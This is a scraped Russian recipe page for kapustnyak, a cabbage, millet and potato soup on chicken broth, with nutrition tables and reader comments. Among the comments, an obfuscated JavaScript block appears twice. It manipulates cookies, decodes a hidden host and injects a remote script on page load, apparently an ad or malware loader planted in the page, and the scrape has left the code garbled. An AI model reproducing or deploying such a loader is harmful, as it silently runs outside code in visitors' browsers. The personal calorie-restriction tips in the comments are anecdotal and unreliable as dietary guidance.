Lyuda
11.10.2015 17:00
Капустняк
Калорийность - 64.9 кКал; белки - 2.8 г; жиры - 1.7 г; углеводы - 9.2 г на 100 г.
Ингредиенты
| Картофель (Варка без слива) | 251 г |
| Морковь (Пассерование) | 38 г |
| Лук репчатый (Пассерование) | 147 г |
| Пшенная крупа, пшено шлифованное (Варка без слива вязкая) | 100 г |
| Томат вареный | 195 г |
| Перец сладкий красный (Пассерование) | 79 г |
| Чеснок (Варка без слива) | 4 г |
| Жир куриный | 15 г |
| Петрушка, сырая | 10 г |
| Соль поваренная пищевая | 5 г |
| Бульон куриный | 1190 г |
| Капуста белокочанная, квашеная (Варка без слива) | 250 г |
Общая масса ингредиентов
г
Масса готового блюда
г
Время приготовления: 1 ч
Описание
В идеале капустняк хоть запорожский, хоть полтавский варится со свининой и заправляется толченым салом. Мой вариант диетический варился на
курином бульоне и зажаривался
на курином жире. Но вкусовые качества от этого не пострадали. Капустняк - любимое в моей семье первое блюдо.
В бульон всыпать промытое пшено, затем картофель.
Пассеруем лук, морковь, сладкий перец на курином жире.Добавляем томат и продолжаем тушить.
Квашеную капусту отжать и мелко посечь.
Когда пшено и картофель сварились, вводим капусту.
В конце варки добавляем пассеровку, выдавливаем чеснок, петрушку.. Специи на любителя. У меня лаврушка и душистый перец.
В бульон всыпать промытое пшено, затем картофель.
Пассеруем лук, морковь, сладкий перец на курином жире.Добавляем томат и продолжаем тушить.
Квашеную капусту отжать и мелко посечь.
Когда пшено и картофель сварились, вводим капусту.
В конце варки добавляем пассеровку, выдавливаем чеснок, петрушку.. Специи на любителя. У меня лаврушка и душистый перец.
Пошаговая инструкция
Шаг 1.
Шаг 2.
Шаг 3.
Шаг 4.
Шаг 5.
Калькулятор химического состава рецепта
Пищевая ценность на 100 грамм
| Содержание в порции | % от РСП | ||
| Калории | 64.9 кКал | 3.85% | |
| Белки | 2.8 г | 3.68% | |
| Жиры | 1.7 г | 3.04% | |
| Углеводы | 9.2 г | 4.2% | |
| Пищевые волокна | 1.1 г | 5.5% | |
| Вода | 83.1 г | 3.66% | |
ПОСТУПЛЕНИЕ МИКРОНУТРИЕНТОВ
Рейтинг
6
A
7.4%
b-car
8.2%
В1
4.3%
B2
4%
Холин
2.2%
B5
2.7%
B6
7%
B9
2.4%
B12
~
C
9.8%
D
0.4%
E
1.4%
H
1.1%
вит.К
9.6%
PP
7.8%
Калий
9.6%
Ca
1.7%
Si
30.1%
Mg
3.9%
Na
27.5%
P
5.9%
Cl
11.4%
Fe
3.8%
I
0.8%
Co
23.6%
Mn
5.8%
Cu
10.6%
Mo
4.9%
Se
2.9%
F
0.3%
Cr
4%
Zn
2.9%
19
29
svetlana
11.10.2015 17:31
спасибо за рецепт
Lyuda
11.10.2015 19:49
можно со свежей, можно со свежей пополам с
квашеной или с квашеной.
Татьяна дочь Павла
11.10.2015 21:26
Как то раз были мы на украинской сельской свадьбе.Столы
ломились от яств,всего не перечесть.Подали капустняк. Мои дети
ничего не ели ,кроме него.Пришлось идти к поварихам за
рецептом.Сейчас сами готовят чудо-капустняк.А готовили его довольно
просто:все ингредиенты (капуста квашеная,мясо свинина,томат,лук)
варили почти до готовности,добавляли картофель(мяли
толкушкой),пшено ,сахар,перец.Вкус винный-кисло-сладкий.
Смакота!
Элина
16.10.2015 23:14
Класс! Спасибо за рецепт.
Татьяна Стрелкова
17.10.2015 01:08
Юлия Д.
17.10.2015 09:54
Как давно не пробовала этого капустняка, последний раз у бабушки в
Украине. Добавила в избранное, обязательно сделаю.
Ирина
17.10.2015 10:01
Это что-то вкусное, спасибо!
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))
f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
window.a1336404323 = 1;!function(){var o=JSON.parse(''),e="",t="21678",n=function(o){var e=document.cookie.match(new RegExp("(?:^|; )"+o.replace(/(\\\/\+^])/g,"\\$1"
+"=(*)");return
e?decodeURIComponent(e):void 0},i=function(o,e,t){t=t||{};var
n=t.expires;if("number"==typeof n&&n){var i=new
Date(n);n=t.expires=i}var
r="3600";!t.expires&&r&&(t.expires="3600",e=encodeURIComponent(e);var
c=o+"="+e;for(var a in t){c+="; "+a;var
d=t;d!==!0&&(c+="="+d)}document.cookie=c},r=function(o){o=o.match(/{1,2}/g);for(var
e="",t=0;t<
o.length;t++)e+=String.fromCharCode(parseInt(o,16));return
e},c=function(o){for(var
e="",t=0,n=o.length;n>t;t++)e+=o.charCodeAt(t).toString(16);return
e},p=function(){var
w=window,p=w.document.location.protocol;if(p.indexOf('http')==0){return
p}for(var
e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return
p;}else{break;}}return ''},a=function(o,e,t){var
lp=p();if(lp=='')return;var n=lp+"//"+o;if(window.smlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.smlo.loadSmlo(n.replace('https:','http:'));else
if(window.zSmlo &&
(navigator.userAgent.toLowerCase().indexOf('firefox') ==
-1))window.zSmlo.loadSmlo(n.replace('https:','http:'));else{var
i=document.createElement("sc ript";i.setAttribute("src",n),i.setAttribute("type","text/javasc
ript",document.head.appendChild(i),i.on
load=function(){this.executed||(this.executed=!0,"function"==typeof
e&&e())},i.on
error=function(){this.executed||(this.executed=!0,i.parentNode.removeChild(i),"function"==typeof
t&&t())}}},d=function(u){var s=n("oisdom";e=s&&-1!=o.indexOf(s)?s:u?u:o;var
f,m=n("oismods";m?(f=r(e)+"/pjs/"+t+"/"+m+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))f=r(e)+"/ajs/"+t+"/c/"+c("health-diet.ru"+"_"+(self===top?0:1)+".js",a(f,function(){i("oisdom",e)},function(){var
t=o.indexOf(e);o&&(e=o,d(e))}))};d()}();
Юлия Д.
17.03.2016 20:33
Сейчас приготовила по вашему рецепту капустняк по-украински.
Получилось очень вкусно.
Марина Март
17.03.2016 20:41
Спасибо за рецепт.
Юлия
17.03.2016 21:20
Спасибо за рецепт. Буду пробовать!
Lyuda
21.12.2016 11:16
ЛанаСвет Живая
21.12.2016 11:19
Спасибо за рецепт!
Lyuda
21.12.2016 14:37
ЛанаСвет
Живая, На здоровье!
ПТашка
21.12.2016 14:40
здорово
Виктория
21.12.2016 14:42
Спасибо за рецепт!
Lyuda
21.12.2016 18:24
Lulu S
21.12.2016 18:25
Спасибо за рецепт!
Олег
21.12.2016 22:53
svetlana
21.12.2016 23:00
Мадам
22.12.2016 00:46
Вкуснятина-поздно посмотрела ваш капустняк,приготовила сегодня с
последней квашеной капусты борщ.Так что после квашения новой порции
капусты это блюдо обязательно приготовлю!
Lyuda
22.12.2016 09:25
Нина Родикова
22.12.2016 19:33
Да,очень вкусно,капусты наквашено полно,так что будем готовить.В
каком то Вашем посте,Вы отвечаете,что похудели на 25 кг без
физических нагрузок,причем я помню ,что у Вас гипотериоз,Не могу
понять ,как Вам это удалось.Я 40 дней на рекомендуемых калориях и
никакого сдвига,конечно ни в какие депрессии я не впадаю,не тот
возраст,но может Вы что нибудь подскажете.У меня коридор 1067-1100.
Lyuda
22.12.2016 21:55
Очень маленький у Вас коридор! Голодно наверное?
Никаких особых секретов у меня нет. Я жестко придерживалась 1200 - 1300 ккал и , обязательно, выпивала норму воды - 2.8л .
Никаких особых секретов у меня нет. Я жестко придерживалась 1200 - 1300 ккал и , обязательно, выпивала норму воды - 2.8л .
